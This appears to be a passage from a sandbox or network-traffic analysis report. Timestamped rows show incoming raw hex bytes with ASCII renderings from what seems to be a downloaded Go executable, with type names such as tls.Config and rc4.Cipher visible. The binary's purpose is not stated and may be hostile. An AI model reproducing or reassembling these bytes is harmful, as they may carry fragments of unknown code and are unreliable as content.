2023-01-25 20:04:35 UTC	4252	IN	Data Raw: 95 88 90 fe c0 ef 8f c6 e7 b9 26 77 64 15 0a 43 bb aa 34 3e f1 f5 19 dc 30 34 78 ca 5e 4d e6 09 b5 ea e0 c6 96 72 20 13 3d 41 16 7d b6 e0 5f 4c 62 25 99 78 bc 8f e8 57 8c d1 5b 1c e4 d8 77 df ba 6e bf 96 eb 59 f1 b6 f7 62 b9 91 8e e7 aa cb 34 a5 37 3e 93 b0 ad a4 b5 bb 27 36 72 a1 95 fe 81 8e c5 0d b8 1c d9 0d a3 aa b1 c3 ce 09 3b 7e 22 f2 36 11 e6 b1 a7 e8 a5 0a 4f 3a 21 e6 e4 8e 55 57 c2 ca 8f 9d d1 62 4f cd e2 88 a9 1f 9e f2 2a ed 72 bd b3 05 86 3b a3 80 1b eb 93 a7 45 af 75 a8 cf ac e0 c3 33 05 66 30 f1 72 bc 88 8b 8d 49 c9 01 6c 8c b4 80 86 7f 7c ad 8f eb 6a ee f0 9b 3b 02 87 af e1 20 68 9f db 98 73 a6 05 2a ed 82 ca c2 68 db 8c 14 a1 43 89 3f 08 88 43 3a d4 91 be 79 21 89 b0 59 89 94 6b 4f 0a 6a d4 48 49 36 2e d8 69 ab 1c b0 ab 79 46 e3 8c 84 09 9b Data Ascii: &wdC4>04x^Mr =A}_Lb%xW[wnYb47>'6r;~"6O:!UWbOr;Eu3f0rIl\|j; hshC?C:y!YkOjHI6.iyF
2023-01-25 20:04:35 UTC	4268	IN	Data Raw: 0c 0c 0c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 0c 0c 00 00 00 00 0c 0c 00 00 00 00 00 00 00 00 00 0c 00 00 00 00 00 00 0c 0c 0c 00 00 00 00 0a 00 00 00 0a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-01-25 20:04:35 UTC	4284	IN	Data Raw: 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 18 00 18 00 18 00 18 00 18 00 18 00 18 00 18 00 18 00 18 00 08 00 08 00 08 00 08 00 08 00 08 00 40 00 08 00 08 00 40 00 08 00 40 00 08 00 08 00 08 00 08 00 08 00 40 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 40 00 08 00 40 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 33 08 00 29 09 08 33 08 33 08 33 08 33 08 33 08 33 08 3b 08 33 08 33 08 00 40 00 40 00 08 00 08 00 08 00 d1 09 08 00 08 00 08 00 08 00 40 00 08 00 08 00 08 00 08 00 09 0a 08 00 08 00 08 00 08 00 41 0a 08 00 08 00 08 00 08 00 79 0a 08 00 08 00 08 00 08 00 b1 0a 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 Data Ascii: @@@@@@3)333333;33@@@Ay
2023-01-25 20:04:35 UTC	4300	IN	Data Raw: e8 87 aa 43 e8 87 ad 43 e8 87 b3 43 e8 87 bc 43 e8 88 81 43 e8 88 84 43 e8 88 8c 43 e8 88 98 43 e8 88 9b 43 e8 88 9f 43 e8 89 ae 43 e8 89 af 43 e8 89 b2 43 e8 89 b8 43 e8 89 b9 43 e8 8a 8b 43 e8 8a 91 43 e8 8a 9d 43 e8 8a b1 43 e8 8a b3 43 e8 8a bd 43 e8 8b a5 43 e8 8b a6 43 e8 8c 9d 43 e8 8c a3 43 e8 8c b6 43 e8 8d 92 43 e8 8d 93 43 e8 8d a3 43 e8 8e ad 43 e8 8e bd 43 e8 8f 89 43 e8 8f 8a 43 e8 8f 8c 43 e8 8f 9c 43 e8 8f a7 43 e8 8f af 43 e8 8f b1 43 e8 90 bd 43 e8 91 89 43 e8 91 97 43 e8 93 ae 43 e8 93 b1 43 e8 93 b3 43 e8 93 bc 43 e8 94 96 43 e8 95 a4 43 e8 97 8d 43 e8 97 ba 43 e8 98 86 43 e8 98 92 43 e8 98 ad 43 e8 98 bf 43 e8 99 8d 43 e8 99 90 43 e8 99 9c 43 e8 99 a7 43 e8 99 a9 43 e8 99 ab 43 e8 9a 88 43 e8 9a a9 43 e8 9b a2 43 e8 9c 8e 43 e8 9c a8 Data Ascii: CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
2023-01-25 20:04:35 UTC	4316	IN	Data Raw: 00 00 00 00 00 e0 82 83 00 00 00 00 00 60 a1 83 00 00 00 00 00 20 83 83 00 00 00 00 00 a0 a1 83 00 00 00 00 00 e0 a1 83 00 00 00 00 00 20 a2 83 00 00 00 00 00 60 a2 83 00 00 00 00 00 60 83 83 00 00 00 00 00 a0 83 83 00 00 00 00 00 e0 83 83 00 00 00 00 00 20 84 83 00 00 00 00 00 60 84 83 00 00 00 00 00 a0 a2 83 00 00 00 00 00 a0 84 83 00 00 00 00 00 e0 84 83 00 00 00 00 00 20 85 83 00 00 00 00 00 60 85 83 00 00 00 00 00 e0 85 83 00 00 00 00 00 20 86 83 00 00 00 00 00 60 86 83 00 00 00 00 00 a0 86 83 00 00 00 00 00 e0 86 83 00 00 00 00 00 60 79 83 00 00 00 00 00 20 87 83 00 00 00 00 00 60 87 83 00 00 00 00 00 a0 87 83 00 00 00 00 00 60 79 83 00 00 00 00 00 20 88 83 00 00 00 00 00 60 88 83 00 00 00 00 00 a0 88 83 00 00 00 00 00 e0 88 83 00 00 00 00 00 60 7c Data Ascii: ` `` ` ` ``y ``y ``\|
2023-01-25 20:04:35 UTC	4332	IN	Data Raw: 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 25 80 00 00 00 00 00 02 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 25 80 00 00 00 00 00 02 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 de bb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 25 80 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 de bb 00 00 00 00 00 00 00 Data Ascii: p%% %
2023-01-25 20:04:35 UTC	4348	IN	Data Raw: 00 00 00 00 00 14 00 00 00 00 00 00 00 09 00 00 00 00 00 00 00 c0 a2 8d 00 00 00 00 00 15 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 d5 a2 8d 00 00 00 00 00 15 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 52 aa 8d 00 00 00 00 00 16 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 9d b3 8d 00 00 00 00 00 17 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 ac be 8d 00 00 00 00 00 18 00 00 00 00 00 00 00 0b 00 00 00 00 00 00 00 c4 be 8d 00 00 00 00 00 18 00 00 00 00 00 00 00 0b 00 00 00 00 00 00 00 19 c6 8d 00 00 00 00 00 19 00 00 00 00 00 00 00 0b 00 00 00 00 00 00 00 62 cf 8d 00 00 00 00 00 1a 00 00 00 00 00 00 00 0c 00 00 00 00 00 00 00 7c cf 8d 00 00 00 00 00 1a 00 00 00 00 00 00 00 0c 00 00 00 00 00 00 00 3b d8 8d 00 00 00 00 00 1b 00 00 00 00 00 00 00 0c 00 Data Ascii: Rb\|;
2023-01-25 20:04:35 UTC	4364	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 01 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 0b 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 23 f3 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 21 08 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 54 77 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e f3 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 20 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 c9 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 35 f3 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 20 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c7 Data Ascii: #!@Tw. `v5
2023-01-25 20:04:35 UTC	4380	IN	Data Raw: 65 70 65 61 74 00 06 72 65 73 75 6c 74 00 06 72 65 74 50 6f 70 00 06 72 65 75 73 65 64 00 06 72 6f 64 61 74 61 00 06 72 6f 74 61 74 65 00 06 72 75 6e 65 41 74 00 06 72 77 6c 6f 63 6b 00 06 73 61 77 45 4f 46 00 06 73 63 68 65 6d 65 00 06 73 65 61 72 63 68 00 06 73 65 71 4e 75 6d 00 06 73 65 72 76 65 72 00 06 73 65 74 42 69 74 00 06 73 65 74 4c 6f 63 00 06 73 68 61 72 65 64 00 06 73 68 61 72 70 56 00 06 73 69 67 6e 65 64 00 06 73 6f 72 74 65 64 00 06 73 6f 74 79 70 65 00 06 73 6f 75 72 63 65 00 06 73 70 61 72 73 65 00 06 73 74 61 74 65 31 00 06 73 74 61 74 65 32 00 06 73 74 61 74 75 73 00 06 73 74 69 63 6b 79 00 06 73 74 6b 4f 66 66 00 06 73 74 72 69 63 74 00 06 73 74 72 69 6e 67 00 06 73 75 62 43 74 78 00 06 73 75 62 4f 6e 65 00 06 74 68 72 65 61 64 00 06 Data Ascii: epeatresultretPopreusedrodatarotateruneAtrwlocksawEOFschemesearchseqNumserversetBitsetLocsharedsharpVsignedsortedsotypesourcesparsestate1state2statusstickystkOffstrictstringsubCtxsubOnethread
2023-01-25 20:04:35 UTC	4396	IN	Data Raw: 70 41 74 74 72 00 0b 2a 6e 65 74 2e 72 65 73 75 6c 74 01 0b 2a 6e 65 74 69 70 2e 41 64 64 72 00 0b 2a 6e 6f 72 6d 2e 69 6e 70 75 74 00 0b 2a 6f 73 2e 64 69 72 49 6e 66 6f 00 0b 2a 6f 73 2e 72 61 77 43 6f 6e 6e 00 0b 2a 6f 73 2e 74 69 6d 65 6f 75 74 01 0b 2a 72 63 34 2e 43 69 70 68 65 72 00 0b 2a 72 65 67 65 78 70 2e 6a 6f 62 01 0b 2a 73 71 6c 2e 52 65 73 75 6c 74 00 0b 2a 73 71 6c 2e 64 65 70 53 65 74 01 0b 2a 73 79 6e 63 2e 4d 75 74 65 78 00 0b 2a 73 79 6e 63 2e 65 66 61 63 65 00 0b 2a 73 79 6e 63 2e 65 6e 74 72 79 01 0b 2a 74 69 6d 65 2e 4d 6f 6e 74 68 01 0b 2a 74 69 6d 65 2e 54 69 6d 65 72 01 0b 2a 74 6c 73 2e 43 6f 6e 66 69 67 01 0b 2a 75 72 6c 2e 56 61 6c 75 65 73 00 0b 2e 61 75 74 6f 74 6d 70 5f 31 30 00 0b 2e 61 75 74 6f 74 6d 70 5f 31 31 00 0b 2e Data Ascii: pAttrnet.resultnetip.Addrnorm.inputos.dirInfoos.rawConnos.timeoutrc4.Cipherregexp.jobsql.Resultsql.depSetsync.Mutexsync.efacesync.entrytime.Monthtime.Timertls.Config*url.Values.autotmp_10.autotmp_11.
2023-01-25 20:04:35 UTC	4412	IN	Data Raw: 66 66 73 65 74 00 0e 73 79 73 62 6c 6f 63 6b 74 72 61 63 65 64 00 0e 74 72 61 63 65 52 65 63 6c 61 69 6d 65 64 00 0e 74 72 75 6e 63 61 74 65 53 74 72 69 6e 67 00 0e 74 72 79 4c 6f 61 64 4f 72 53 74 6f 72 65 00 0e 74 72 79 50 75 74 49 64 6c 65 43 6f 6e 6e 00 0e 76 61 6c 75 65 49 6e 74 65 72 66 61 63 65 00 0e 76 65 72 69 66 69 65 64 43 68 61 69 6e 73 00 0f 63 72 79 70 74 6f 2f 65 6c 6c 69 70 74 69 63 00 0f 65 6e 63 6f 64 69 6e 67 2f 62 61 73 65 36 34 00 0f 69 6e 74 65 72 6e 61 6c 2f 69 6e 74 65 72 6e 00 0f 2a 2a 68 74 74 70 2e 52 65 73 70 6f 6e 73 65 00 0f 2a 5b 31 5d 73 79 6e 74 61 78 2e 6e 6f 64 65 00 0f 2a 5b 33 39 5d 63 70 75 2e 6f 70 74 69 6f 6e 00 0f 2a 5b 38 5d 2a 73 79 6e 63 2e 65 6e 74 72 79 00 0f 2a 5b 38 5d 63 72 79 70 74 6f 2e 48 61 73 68 00 0f Data Ascii: ffsetsysblocktracedtraceReclaimedtruncateStringtryLoadOrStoretryPutIdleConnvalueInterfaceverifiedChainscrypto/ellipticencoding/base64internal/intern*http.Response[1]syntax.node[39]cpu.option[8]sync.entry[8]crypto.Hash
2023-01-25 20:04:35 UTC	4428	IN	Data Raw: 74 70 2e 77 61 6e 74 43 6f 6e 6e 51 75 65 75 65 00 13 2a 68 74 74 70 70 72 6f 78 79 2e 61 6c 6c 4d 61 74 63 68 01 13 2a 69 6f 2e 52 65 61 64 57 72 69 74 65 43 6c 6f 73 65 72 00 13 2a 6a 73 6f 6e 2e 73 74 72 75 63 74 45 6e 63 6f 64 65 72 00 13 2a 6a 73 6f 6e 2e 75 6e 71 75 6f 74 65 64 56 61 6c 75 65 00 13 2a 6e 69 73 74 65 63 2e 70 32 35 36 45 6c 65 6d 65 6e 74 00 13 2a 6e 6f 72 6d 2e 72 65 6f 72 64 65 72 42 75 66 66 65 72 00 13 2a 70 6f 6c 6c 2e 65 72 72 4e 65 74 43 6c 6f 73 69 6e 67 01 13 2a 72 65 66 6c 65 63 74 2e 56 61 6c 75 65 45 72 72 6f 72 00 13 2a 72 65 66 6c 65 63 74 2e 6c 61 79 6f 75 74 54 79 70 65 00 13 2a 72 65 66 6c 65 63 74 2e 73 74 72 75 63 74 54 79 70 65 00 13 2a 72 65 67 65 78 70 2e 69 6e 70 75 74 52 65 61 64 65 72 00 13 2a 72 65 67 65 78 Data Ascii: tp.wantConnQueuehttpproxy.allMatchio.ReadWriteCloserjson.structEncoderjson.unquotedValuenistec.p256Elementnorm.reorderBufferpoll.errNetClosingreflect.ValueErrorreflect.layoutTypereflect.structTyperegexp.inputReaderregex
2023-01-25 20:04:35 UTC	4444	IN	Data Raw: 72 69 6e 67 5d 73 74 72 69 6e 67 00 19 2a 6d 61 70 2e 62 75 63 6b 65 74 5b 73 74 72 69 6e 67 5d 75 69 6e 74 36 34 00 19 2a 6d 61 70 5b 2a 73 71 6c 2e 64 72 69 76 65 72 53 74 6d 74 5d 62 6f 6f 6c 00 19 2a 6d 61 70 5b 2a 73 79 6e 74 61 78 2e 52 65 67 65 78 70 5d 69 6e 74 36 34 00 19 2a 6d 61 70 5b 69 6e 74 33 32 5d 75 6e 73 61 66 65 2e 50 6f 69 6e 74 65 72 00 19 2a 6d 61 70 5b 73 74 72 69 6e 67 5d 64 72 69 76 65 72 2e 44 72 69 76 65 72 00 19 2a 6d 61 70 5b 75 6e 73 61 66 65 2e 50 6f 69 6e 74 65 72 5d 69 6e 74 33 32 01 19 2a 70 6b 69 78 2e 41 6c 67 6f 72 69 74 68 6d 49 64 65 6e 74 69 66 69 65 72 00 19 2a 72 65 66 6c 65 63 74 2e 66 75 6e 63 54 79 70 65 46 69 78 65 64 31 32 38 00 19 2a 72 65 66 6c 65 63 74 6c 69 74 65 2e 75 6e 63 6f 6d 6d 6f 6e 54 79 70 65 00 Data Ascii: ring]stringmap.bucket[string]uint64map[sql.driverStmt]boolmap[syntax.Regexp]int64map[int32]unsafe.Pointermap[string]driver.Drivermap[unsafe.Pointer]int32pkix.AlgorithmIdentifierreflect.funcTypeFixed128*reflectlite.uncommonType
2023-01-25 20:04:35 UTC	4460	IN	Data Raw: 61 62 61 73 65 54 79 70 65 4e 61 6d 65 00 26 2a 66 69 61 74 2e 70 32 32 34 4d 6f 6e 74 67 6f 6d 65 72 79 44 6f 6d 61 69 6e 46 69 65 6c 64 45 6c 65 6d 65 6e 74 00 26 2a 66 69 61 74 2e 70 33 38 34 4d 6f 6e 74 67 6f 6d 65 72 79 44 6f 6d 61 69 6e 46 69 65 6c 64 45 6c 65 6d 65 6e 74 00 26 2a 66 69 61 74 2e 70 35 32 31 4d 6f 6e 74 67 6f 6d 65 72 79 44 6f 6d 61 69 6e 46 69 65 6c 64 45 6c 65 6d 65 6e 74 00 26 2a 66 75 6e 63 28 29 20 28 75 6e 73 61 66 65 2e 50 6f 69 6e 74 65 72 2c 20 69 6e 74 33 32 2c 20 65 72 72 6f 72 29 00 26 2a 66 75 6e 63 28 2a 68 74 74 70 2e 52 65 71 75 65 73 74 29 20 28 2a 75 72 6c 2e 55 52 4c 2c 20 65 72 72 6f 72 29 00 26 2a 66 75 6e 63 28 2a 72 75 6e 74 69 6d 65 2e 67 2c 20 75 6e 73 61 66 65 2e 50 6f 69 6e 74 65 72 29 20 62 6f 6f 6c 00 26 Data Ascii: abaseTypeName&fiat.p224MontgomeryDomainFieldElement&fiat.p384MontgomeryDomainFieldElement&fiat.p521MontgomeryDomainFieldElement&func() (unsafe.Pointer, int32, error)&func(http.Request) (url.URL, error)&func(*runtime.g, unsafe.Pointer) bool&
2023-01-25 20:04:35 UTC	4476	IN	Data Raw: 00 00 00 00 00 80 8d 88 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 91 9b 25 79 08 08 08 36 78 ac 90 00 00 00 00 00 68 f4 96 00 00 00 00 00 e4 c2 00 00 00 00 00 00 60 b8 88 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 7e 3c d4 c2 08 08 08 36 78 ac 90 00 00 00 00 00 68 f4 96 00 00 00 00 00 e0 95 00 00 00 00 00 00 00 8e 88 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 b7 4b 8c d8 08 08 08 36 78 ac 90 00 00 00 00 00 68 f4 96 00 00 00 00 00 ad f7 00 00 00 00 00 00 80 8e 88 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 2e fd 9e e7 08 08 08 36 78 ac 90 00 00 00 00 00 68 f4 96 00 00 00 00 00 f0 95 Data Ascii: %y6xh`~<6xhK6xh.6xh
2023-01-25 20:04:35 UTC	4492	IN	Data Raw: 00 00 00 00 00 80 af 88 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 fe 0c f5 cd 08 08 08 36 78 ac 90 00 00 00 00 00 68 f4 96 00 00 00 00 00 e0 99 00 00 00 00 00 00 60 4f 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 f8 31 ce fc 08 08 08 36 78 ac 90 00 00 00 00 00 68 f4 96 00 00 00 00 00 0a e4 00 00 00 00 00 00 80 06 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 1c a8 9c 7b 08 08 08 36 78 ac 90 00 00 00 00 00 68 f4 96 00 00 00 00 00 f0 c7 00 00 00 00 00 00 80 5b 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 fb 9d d6 df 08 08 08 36 78 ac 90 00 00 00 00 00 68 f4 96 00 00 00 00 00 f0 99 Data Ascii: 6xh`O16xh{6xh[6xh
2023-01-25 20:04:35 UTC	4508	IN	Data Raw: 00 00 00 00 00 3b bb e5 9a 02 08 08 17 00 00 00 00 00 00 00 00 68 f4 96 00 00 00 00 00 30 3f 00 00 00 00 00 00 20 a6 86 00 00 00 00 00 00 00 00 00 00 00 00 00 18 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 b3 e3 3f d8 02 08 08 17 00 00 00 00 00 00 00 00 68 f4 96 00 00 00 00 00 3b 3f 00 00 00 00 00 00 60 a6 86 00 00 00 00 00 00 00 00 00 00 00 00 00 18 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 b7 63 4f 85 02 08 08 17 00 00 00 00 00 00 00 00 68 f4 96 00 00 00 00 00 46 3f 00 00 00 00 00 00 a0 a6 86 00 00 00 00 00 00 00 00 00 00 00 00 00 18 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 65 40 04 81 02 08 08 17 00 00 00 00 00 00 00 00 68 f4 96 00 00 00 00 00 4d 30 00 00 80 8a 01 00 e0 a6 86 00 00 00 00 00 00 00 00 00 00 00 00 00 18 00 00 00 00 00 00 00 08 00 Data Ascii: ;h0? ?h;?`cOhF?e@hM0
2023-01-25 20:04:35 UTC	4524	IN	Data Raw: 00 00 00 00 00 ec 94 41 1e 0f 08 08 02 78 ac 90 00 00 00 00 00 60 f4 96 00 00 00 00 00 69 23 01 00 80 db 01 00 fb 23 00 00 00 00 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 fb a7 7c 0f 04 04 0a 70 ac 90 00 00 00 00 00 60 f4 96 00 00 00 00 00 92 43 01 00 00 dc 01 00 fb 23 00 00 00 00 00 00 10 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 8f 9d 12 0f 01 01 08 80 ac 90 00 00 00 00 00 60 f4 96 00 00 00 00 00 b6 e3 00 00 80 de 01 00 fb 23 00 00 00 00 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ef 80 01 43 0f 04 04 05 70 ac 90 00 00 00 00 00 60 f4 96 00 00 00 00 00 73 b7 00 00 80 df 01 00 fb 23 00 00 00 00 00 00 10 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 08 00 Data Ascii: Ax`i##@\|p`C#V`#Cp`s#
2023-01-25 20:04:35 UTC	4540	IN	Data Raw: 00 00 00 00 00 00 00 02 00 00 00 00 00 c0 c0 8a 00 00 00 00 00 00 9a 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 28 dc 06 43 02 08 08 33 00 00 00 00 00 00 00 00 68 f4 96 00 00 00 00 00 d3 1f 01 00 00 00 00 00 00 00 02 00 00 00 00 00 a0 ff 8b 00 00 00 00 00 00 9a 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 2d 04 e1 22 02 08 08 33 00 00 00 00 00 00 00 00 68 f4 96 00 00 00 00 00 b8 1f 01 00 00 00 00 00 00 00 02 00 00 00 00 00 00 aa 8c 00 00 00 00 00 00 9a 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 Data Ascii: (C3h-"3h
2023-01-25 20:04:35 UTC	4556	IN	Data Raw: 00 00 00 00 00 8c 4a 9d be 02 08 08 33 00 00 00 00 00 00 00 00 68 f4 96 00 00 00 00 00 fd 4b 01 00 00 00 00 00 02 00 00 00 00 00 00 00 20 a5 86 00 00 00 00 00 80 ac 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 84 4a aa 20 02 08 08 33 00 00 00 00 00 00 00 00 68 f4 96 00 00 00 00 00 34 f9 00 00 00 00 00 00 02 00 00 00 00 00 00 00 20 a5 86 00 00 00 00 00 20 a5 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 c6 6f fb be 02 08 08 33 00 00 00 00 00 00 00 00 68 f4 96 00 00 00 00 00 44 2e 01 00 00 00 00 00 01 00 01 00 00 00 00 00 a0 a5 86 00 00 00 00 00 00 9a 88 00 00 00 00 00 00 00 Data Ascii: J3hK J 3h4 o3hD.
2023-01-25 20:04:35 UTC	4572	IN	Data Raw: 00 00 00 00 00 02 00 01 00 00 00 00 00 00 1b 86 00 00 00 00 00 60 a7 86 00 00 00 00 00 a0 71 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 45 6b 6e f8 02 08 08 33 00 00 00 00 00 00 00 00 68 f4 96 00 00 00 00 00 b0 6b 01 00 00 00 00 00 01 00 02 80 00 00 00 00 20 52 86 00 00 00 00 00 00 af 8b 00 00 00 00 00 00 9a 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 60 f8 84 1a 02 08 08 33 00 00 00 00 00 00 00 00 68 f4 96 00 00 00 00 00 18 71 01 00 00 00 00 00 01 00 02 80 00 00 00 00 20 52 86 00 00 00 00 00 60 b7 88 00 00 00 00 00 00 9a 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 Data Ascii: `qEkn3hk R`3hq R`
2023-01-25 20:04:35 UTC	4588	IN	Data Raw: 00 00 00 00 00 38 ba b8 9c 09 08 08 36 78 ac 90 00 00 00 00 00 68 f4 96 00 00 00 00 00 6c 38 01 00 00 00 00 00 80 55 87 00 00 00 00 00 d9 5f 00 00 01 00 01 00 10 00 00 00 00 00 00 00 f9 0c 00 00 e0 4b 02 00 20 c4 20 00 20 c4 20 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 70 e3 5d 26 09 08 08 36 78 ac 90 00 00 00 00 00 68 f4 96 00 00 00 00 00 7f 1c 01 00 00 00 00 00 e0 55 87 00 00 00 00 00 d9 5f 00 00 01 00 01 00 10 00 00 00 00 00 00 00 68 1d 00 00 e0 4b 02 00 20 bf 20 00 20 bf 20 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 e3 bb 16 a9 09 08 08 36 78 ac 90 00 00 00 00 00 68 f4 96 00 00 00 00 00 0b 4f 01 00 00 00 00 00 e0 b6 88 00 00 00 00 00 d9 5f 00 00 01 00 01 00 10 00 00 00 00 00 00 00 f9 0c Data Ascii: 86xhl8U_K p]&6xhU_hK 6xhO_
2023-01-25 20:04:35 UTC	4604	IN	Data Raw: 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 00 00 00 00 78 00 00 00 00 00 00 00 51 ff 07 55 0f 08 08 11 40 d0 84 00 00 00 00 00 bf df 96 00 00 00 00 00 87 c6 00 00 20 5d 03 00 a0 ab 8b 00 00 00 00 00 e0 34 86 00 00 00 00 00 0f 00 00 00 00 00 00 00 bd 01 01 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 00 00 00 00 78 00 00 00 00 00 00 00 fe 98 99 33 0f 08 08 11 40 d0 84 00 00 00 00 00 bf df 96 00 00 00 00 00 9a c6 00 00 80 5d 03 00 c0 ac 8b 00 00 00 00 00 20 35 86 00 00 00 00 00 0f 00 00 00 00 00 00 00 bd 01 01 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 c0 5a 51 0f 08 08 11 e0 d1 84 00 00 00 00 00 60 f4 96 00 00 00 00 00 78 62 Data Ascii: xxQU@ ]4xx3@] 5 $ZQ`xb
